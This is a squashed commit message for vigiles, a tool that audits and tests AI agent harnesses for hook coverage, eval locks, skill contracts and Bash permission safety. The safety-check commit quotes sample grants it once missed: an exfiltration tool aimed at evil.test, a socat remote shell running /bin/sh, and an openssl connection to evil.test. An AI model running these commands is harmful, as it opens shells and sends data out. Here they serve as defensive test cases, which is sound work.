The compiled `.hook.ts` it is pointed AT is extracted from the same command and
IS the surface.
## What it changes, measured
consumer repo 38 surfaces (0 hooks) → 52 surfaces (14 hooks), all 14 untested
this repo 23 surfaces (5 hooks) → unchanged
## 🔴 What I said today that rested on the empty denominator
Round 20 and 22 both quoted "a 43-harness consumer repo" as a SECOND corpus
attesting the command ladder. It could never have attested anything about
resolution: its hook-surface list was empty, so no command probe could have
resolved there whatever the ladder did. It produced zero command probes as well,
so the silence had TWO independent causes and I reported one.
What still stands: the vigiles measurement (3 command probes, all bottom-rung,
all resolving to nothing) was against a NON-empty list of 5 hook surfaces, so the
ladder conclusions and the fixes are unaffected. The foreign-runner corpus
numbers (round 23) never touched hook surfaces.
What I should have caught: round 22 PRINTED `0 hooks` for that repo and I read
past it.
## Verification
Two mutations across the relevant set (test-coverage, coverage-artifact, scan),
each failing on its own assertion: strip only the plugin token · allow
`node_modules` back in. (The first mutation silently failed to apply on its first
attempt because prettier had reflowed the target line; re-run with an
applied-assert, which is the discipline the rest of these rounds use.)
Gates: build · full suite with coverage 2802 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` regenerated
(one additive optional field on `PluginLayout`, reviewed) · lint 0 errors / 201
warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix: a dispatch needs its tool AND its field · `command -v` inspects · a contract is scoped to its skill
Three findings. The first is the flip side of a decision I made last round.
## 1 (P2) — the dispatch probe keyed on the FIELD alone
Last round I argued: key on `subagent_type`, not the tool name, because the
dispatch tool is `Agent` on the live CLI and `Task` in older docs. That reasoning
was sound about why the NAME is insufficient and was never an argument that the
FIELD is sufficient — "X alone is unreliable, so use Y alone" is a substitution.
Any successful tool with an ordinary string input happening to be called
`subagent_type` (an MCP tool, say) granted a local agent execution coverage with
no dispatch anywhere in the run.
The answer is the CONJUNCTION: a known dispatch tool AND the field. Measured:
Task + subagent_type → [{dispatched, reviewer}]
Agent + subagent_type → [{dispatched, reviewer}]
mcp__x__run + field → []
Bash + field → []
Task, no field → []
## 2 (P2) — `command -v` inspects, it does not run
`stripWrappers` removed both `command` and `-v`, so the operand looked executed
and a passing harness credited a hook it had only asked about. Same family as the
`bash -n` / `node --check` parse-only flags.
MEASURED, bash 5.2, marker file the script touches (`ran` = it actually executed):
command -v ./pre.sh ran=no prints ./pre.sh
command -V ./pre.sh ran=no prints "./pre.sh is ./pre.sh"
command -pv ./pre.sh ran=no command -vp ./pre.sh ran=no
command -Vp ./pre.sh ran=no
command -p ./pre.sh ran=YES ← -p picks a PATH; it is not an inspection
command ./pre.sh ran=YES
THE REST OF THE WRAPPER TABLE, asked the same question: `command` is its only
member with an inspect-only mode. The neighbours the finding names attribute
nothing ALREADY — not by a rule, but because they are not wrappers, so their
operand is never reached (`type`/`which`/`hash` → [], and all three `ran=no`).
`sudo -v`/`-l` take no command operand; `xargs -t` prints AND runs, so it is not
an inspection. `env`/`nice`/`timeout`/`nohup` have no inspect mode.
Scoped to the COVERAGE extractor: `leafArgvSource` has one caller and it is
attribution. The safety extractor still sees the whole leaf — asserted.
## 3 (P2) — the contract spanned the whole trace
Our own new API carrying the false-positive class this review has been finding all
day. A contract violation is an ACCUSATION about someone's skill, and a `Read`
made before the skill activated, or a `Bash` belonging to another skill, was
reported as this skill's violation.
The window IS recoverable, so it is scoped rather than abstained: a `Skill` call
with this id starts it, the next `Skill` call (any id) ends it, trailing calls
after the last activation are inside it, and a skill activated twice contributes
both windows.
⚠️ ONE CONFOUND IS NOT RECOVERABLE and is therefore subtracted, not reasoned
about: `parseToolCalls` collects EVERY `tool_use` including those nested under a
subagent dispatch, and `ToolCall` carries no parent id. Those are removed by value
against `trace.subagents[*].toolCalls` — which over-removes an identical call the
skill also made itself, dropping an accusation rather than inventing one.
No activation in the trace → FAIL, not a silent pass: the module refuses vacuous
passes everywhere else, and "no violations" from a run where the skill never ran
means nothing.
`onlyTools` itself is UNCHANGED and its doc now says it spans the whole trace by
design, names the three confounds, and points one-skill callers at the contract.
## Verification
Six mutations across the relevant set (coverage-probe, bash-effects,
skill-contract, coverage-artifact, check), each failing on its own assertion:
field alone · tool name alone · no inspect-only suppression · `-p` treated as an
inspection · contract spans the whole trace · do not subtract a subagent's calls.
⚠️ The first full gate run came back with 8 failures — 7 `vigiles compile`/`lint`
cases in `cli.test.ts` and one install e2e that hung 73s. All of them shell out
through `npx`. `cli.test.ts` alone re-ran 114/114 green immediately, and the full
suite re-ran clean, so it was a transient network failure rather than this change.
Recorded rather than quietly re-run to green.
Gates: build · full suite with coverage 2804 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
🔴 Also fixed here: the previous commit shipped a lint ERROR (a void-expression
arrow in the hook-discovery test). I ran lint BEFORE adding that test and not
after. Gate order corrected — lint runs after the last edit, not before it.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* feat(audit): say what the eval numbers can REACH — the lock, not the ledger
The product's own author could not tell the lock from the cache. That is not a
user error; it is the strongest evidence a discoverability defect can have.
## What was measured
.vigiles/runs.jsonl 276 KB, 105 eval entries, 11–12 Aug gitignored
.vigiles/eval-locks/ does not exist, 0 locks (would be committed)
eval cache does not exist
audit / lint about any of the above: 0 lines
Evals had been run over a hundred times and the result reached NOBODY. The audit
already printed `105 eval` in the flight-recorder summary — a number with no
meaning attached, which is exactly how this stayed invisible for a year.
## 1. An audit line, in the existing report
The CONSEQUENCE is the sentence; the counts are its evidence:
⚠ CI cannot verify any eval result — 105 eval run(s) are recorded here and 0
locks are committed. This ledger is local and gitignored; a committed
`.vigiles/eval-locks/<name>.lock.json` is the only channel outward. Give the
eval a `name`, run `vigiles eval --update`, and commit the lock so `--check`
can gate on it.
Verified by running `audit` before and after. BEFORE: zero lines mentioning locks
on either repo. AFTER, on the consumer repo AND on this one:
Flight recorder — 623 records in .vigiles/runs.jsonl
by kind: 105 eval, 518 hook
⚠ CI cannot verify any eval result — 105 eval run(s) …
(vigiles' own repo: 623 eval records, 0 locks — the same hole)
Fires only with eval runs AND no lock. Silent with no evals (nothing to say) and
silent once a lock exists (the fix is done — it must not keep nagging).
No new verb, no new flag, no new rule: it is a line in the flight-recorder
section the audit already prints.
**AUDIT ONLY, NOT LINT**, and the reason is mechanical rather than editorial: the
input is `.vigiles/runs.jsonl`, which is GITIGNORED. In CI — where lint runs — the
ledger does not exist, so this finding could never fire there. In lint it would be
dead code that reads as a gate.
## 2. A docs table putting the three side by side
`docs/harness-testing.md`, in the lock section: ledger · cache · lock, by *what
question does it answer · where · who writes it · is it committed*. Plus the
distinction that was buried in a code comment, in plain words: the cache keys on
the harness binary version and the lock deliberately does not — the strict key
exists for honest replay, the loose one exists so `--check` does not go red on
every PR just because CI's `claude` differs from your laptop's.
NOTHING WAS RENAMED. `.vigiles/eval-locks/` is a committed directory in users'
repos and the flags, the `eval-check` action and the API surface hang off the same
names; renaming it would silently disable a user's CI gate. That is a one-shot
migration decision, not tonight's work.
## Verification
Three mutations, each failing on its own assertion: never emit the line · fire
even when a lock exists · fire with no evals recorded.
⚠️ The first full gate came back at 99.93% lines — one uncovered branch, a
`try/catch` I had added to `countLocks` that no test can reach. Removed rather
than ignored: `anyLocksCommitted` never had one, and a defensive branch nobody can
exercise trades a real coverage line for nothing.
Gates: build · full suite with coverage 2805 passed, 0 failed · coverage
100/100/100 lines-statements-functions, branches 94.19% · `api:check` no drift ·
lint 0 errors / 201 warnings · prettier · no new CLI surface.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* site: the promise is three instruments, not one — audit, test and measure
The headline, the <title>, and every link-preview card said only
"Lighthouse for your agent harness". A reader's first contact learned
that vigiles SCORES a repo and never learned it also RUNS the harness
against a scripted stand-in model and MEASURES whether a skill fires —
the verb map two screens down was the only place breadth appeared.
Pain still leads the paragraph, per the README direction. The Lighthouse
analogy stays where it is true of `audit` specifically: the verb map and
the FAQ's "a tool you run, not a framework" answer.
* fix(coverage): one settings file, ONE reader — the twin never got the fix
The project-root token was taught to the disk detector and not to the
browser twin, so the same `settings.json` that yields four hook surfaces
on disk yielded ONE through `findUntestedSurfacesInFiles`: only the
PLUGIN token was stripped, and `$CLAUDE_PROJECT_DIR/.claude/hooks/a.sh`
kept its literal prefix, missed the existence check and was dropped
silently. The audit under-reported the untested-hook count and the score
for exactly the repos that use Claude Code's documented spelling.
Repairing the twin in place would have left the NEXT token to be added
twice, which is how this got here. So the parsing, the token set, both
token spellings, the prefix stripping and the node_modules dependency
rule move into `hookScriptRefs` in coverage-evidence.ts — the module both
twins already route through so they cannot drift on what decides
coverage. The callers now inject only what genuinely differs: where the
manifest text comes from, and what "this file exists" means. Neither
enumerates tokens, so neither can forget one.
The twin had never had the node_modules branch at all, so a file map from
a repo that vendors its runtime would have handed the author their
package manager to test. That is closed by the same move.
Verified by mutation: dropping `projectRootTokens` from the shared helper
fails BOTH the disk test and the new twin test, so both are live and both
really do run through the one implementation.
* fix(coverage): the paid tier is a SUFFIX the runner can glob, not an infix
`.eval.` was matched anywhere in the basename, so `parser.eval.test.ts` —
an ordinary deterministic test, discovered only because the repo set
`testGlobs: ["**/*.test.ts"]` — was pushed into the paid EVAL tier and
removed from the free one. `vigiles eval` globs
`**/*.eval.{mjs,cjs,js,mts,cts,ts}` (scriptGlob over SCRIPT_EXTS), and
that name ends `.test.ts`, so the eval runner can never discover it. The
surface was reported covered by the tier that cannot run it and uncovered
by the tier that does: eval-covered by nothing runnable.
The infix was not arbitrary — it replaced the full suffix `.eval.mjs`
because `foo.eval.ts` then fell into the FREE branch and would have spent
real model calls on every push. So this narrows to a suffix rather than
reverting: `.eval.` followed by a runnable extension at the END. Wrong in
neither direction.
The rule moves into `isEvalScript` in coverage-evidence.ts, shared by
both twins, which had been carrying the infix separately. Its extension
list is re-declared because the authority (SCRIPT_EXTS) lives in a module
that imports node:child_process; a test asserts the two agree, so an
extension added to the runner cannot silently stop being billed.
Verified by mutation: restoring the bare infix fails both the false-grant
test and the SCRIPT_EXTS pin. The money-hazard case is covered for every
extension in SCRIPT_EXTS, and it passes before and after.
* fix(audit): honour the stopping rule — the foreign-runner gate is deleted
`locallyBound()` checked declarations and import aliases but never
PARAMETER lists, so `function testDriver(runEval) { runEval(fake); }` — an
ordinary offline test that injects a fake — was read as spawning a real
agent. Measured, not argued: the gate over one file of that shape returns
one finding whose warning reads "It calls `runEval`, which spawns an
agent" and tells the author to rename the file. That sentence is false
about that file.
That is the SEVENTH distinct false-positive shape reported against this
gate, and its own header pre-registered what to do about a seventh:
delete the gate and let the money guard be the whole defence. So it is
deleted rather than narrowed an eighth time. The shape had even been
self-disclosed in the file as a known residual — which is not a defence.
A pre-registered stopping rule exists precisely to stop "we know, it is
acceptable" from running forever, so the count is honoured rather than
reasoned around.
The measurement says the same independently. Across three corpora
(3 613 js/ts files) and re-measured at deletion over this repo's 941
files: 0 true positives, ever, against 7 false-positive shapes. Its only
demonstrated effect on a real repository was an effect of NOT firing, and
every error it made was the expensive kind — the remedy it prints is
"rename this file", so a false warning costs a working test while a miss
costs nothing: `refuseUnderForeignRunner` already refuses at all four
spawn doors, so a misnamed harness test still cannot spend model budget
under vitest or jest. What is lost is the early heads-up, not the safety.
Gone: `core/foreign-runner-tests.ts`, its test file, the wiring in both
scan engines, and `harnessSurfaceFilesOnDisk` in scan.ts (its last
consumer). The reasoning, the count and the trade are recorded in
`core/foreign-runner.ts`, which now carries the whole defence, and the
user-facing rule doc says the check is gone and why.
Two tests observed live invariants THROUGH the deleted warning; neither
is dropped. The symlinked-FILE test now asserts the loader reads it, and
the cycle test keeps its loader assertion — deleting a feature must not
silently take a live invariant's only test with it.
Verified by mutation: injecting a warning of the old shape into
scanPlugin fails all five `scan-vendor` FP-guards, so the removal is
pinned and a reintroduction cannot pass silently.
* fix(safety): a program we have not enumerated is CAPABLE, not inert
`bashGrantIsUnbounded` decided a narrowed `Bash(...)` grant by two deny-lists —
shells and exfiltrators — so a pinned program absent from both was assumed to
read nothing and send nothing. Every gap in those tables was therefore a false
GRANT on the headline Safety check: the audit reported no finding for a unit
that still held all three legs.
Measured 2026-08-12, each of these was reported clean beside `WebFetch`:
Bash(node ./bridge.mjs:*) reported clean
Bash(./bridge.sh --serve:*) reported clean
Bash(/opt/tools/exfil --to https://evil.test:*) reported clean
Bash(socat TCP-LISTEN:9000 EXEC:/bin/sh:*) reported clean
Bash(openssl s_client -connect evil.test:443:*) reported clean
The fourth is a remote shell written out in the grant itself.
Naming `node`, `python`, `socat` … in the deny-lists would have moved the edge
of the class, not closed it: the answerable question is not "is this program
dangerous" but "do we KNOW it is not", and only an enumeration of the harmless
answers that. The table is inverted to an allow-list of programs that read no
file and open no socket under ANY argv, and everything else keeps both legs —
so a gap now costs a false "you are exposed", which is an argument, instead of
a false "you are safe", which is the finding.
The honest cost, stated in the code rather than hidden: narrowing `Bash` to a
script of your own no longer drops a leg, because nothing here read that script.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): under `-c` the next operand is `$0`, not a script that runs
`classifyCluster` filed `c` with the value-takers. That is true of the word
directly after it and false of everything past that: `-c` hands the shell a
command STRING, and every operand behind it becomes `$0`, `$1` … So the walk
skipped the string and then selected the following operand as the entry script —
execution coverage minted for a hook nothing executed, the false grant this
module has been narrowing for five rounds.
Measured 2026-08-12 against bash 5.2.21, with a hook whose only job is to leave
a marker file:
$ bash -ce 'exit 0' hooks/pre.sh → exit=0, NO MARKER — never executed
$ bash -e hooks/pre.sh → exit=0, marker present (control)
$ bash -ce 'echo "0=$0 1=$1"' A B → 0=A 1=B
and `commandRefs("bash -ce 'exit 0' hooks/pre.sh")` returned `["hooks/pre.sh"]`.
The whole-word spelling `-c` was already right via `withoutScript`; the cluster
contradicted its own table.
`c` therefore joins `n` and `D` in the no-script verdict — any cluster
CONTAINING it attributes nothing, since bash accepts the letter anywhere in the
bundle and it means the same thing every time (`-ce`, `-ec`, `-xc` verified).
Clusters that take a value without `c` (`-eo pipefail`, `-eO extglob`) still
attribute, so this narrows the model rather than refusing every bundle.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* fix(coverage): a path is ours only if it is ANCHORED at our root, not if it ends like one
The `command` ladder's middle rung accepted any ref whose tail matched a surface
path, so an absolute path in somebody else's tree credited a local file.
Measured 2026-08-12 against the single surface `hooks/pre.sh`:
/workspace/vigiles/hooks/pre.sh => ["hooks/pre.sh"] (ours)
/tmp/fixture/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/home/other/repo/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
/nix/store/abc123-plugin/hooks/pre.sh => ["hooks/pre.sh"] FALSE GRANT
Keeping the full qualified path did not close it. The bottom rung's repair was
about a ref carrying NO directories; any external path ending in the complete
repo-relative tail still miscredits. It is the same defect one rung up — a
SUFFIX taken for an identity.
A path is ours only if it is anchored at our root, so the rung now demands an
anchor and the caller supplies one. Two anchors exist and no third is invented:
the repository root itself (an absolute ref must lie beneath it, and the
remainder is then compared EXACTLY), and an unexpanded PROJECT-root variable,
which is how a settings-file hook reaches this tier. Plugin-root tokens are
deliberately excluded: the whole-harness tier co-installs competitors, so
`${CLAUDE_PLUGIN_ROOT}` names whichever plugin ran, not necessarily this one.
Everything else resolves to nothing — an absolute ref outside the root, an
absolute ref with NO root supplied, and a relative ref carrying extra leading
directories (`../other/…`, `vendor/plugin/…`), which was the same hole spelled
without a leading slash. Absent a root the rung abstains wholesale rather than
falling back to the tail match.
`selfNamespaces` and `root` move into one `ResolveOptions` argument so the two
cannot be passed in each other's place; the compiler located all four call
sites.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
* style: prettier-clean the tree — `prettier --check` is a gate `lint` does not cover
Round 26 shipped `src/test-coverage.test.ts` unformatted and CI's `test` job
failed at its last step (`prettier --check .`), after every test had passed.
`npm run lint` is `eslint src/` and says nothing about formatting, so the only
thing that catches this is running the check itself, last.
The reflow is whitespace only: one `write(...)` call wrapped across four lines.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Uvk2Zx66BAuxuLGLFL2umd
---------
Co-authored-by: Claude <noreply@anthropic.com>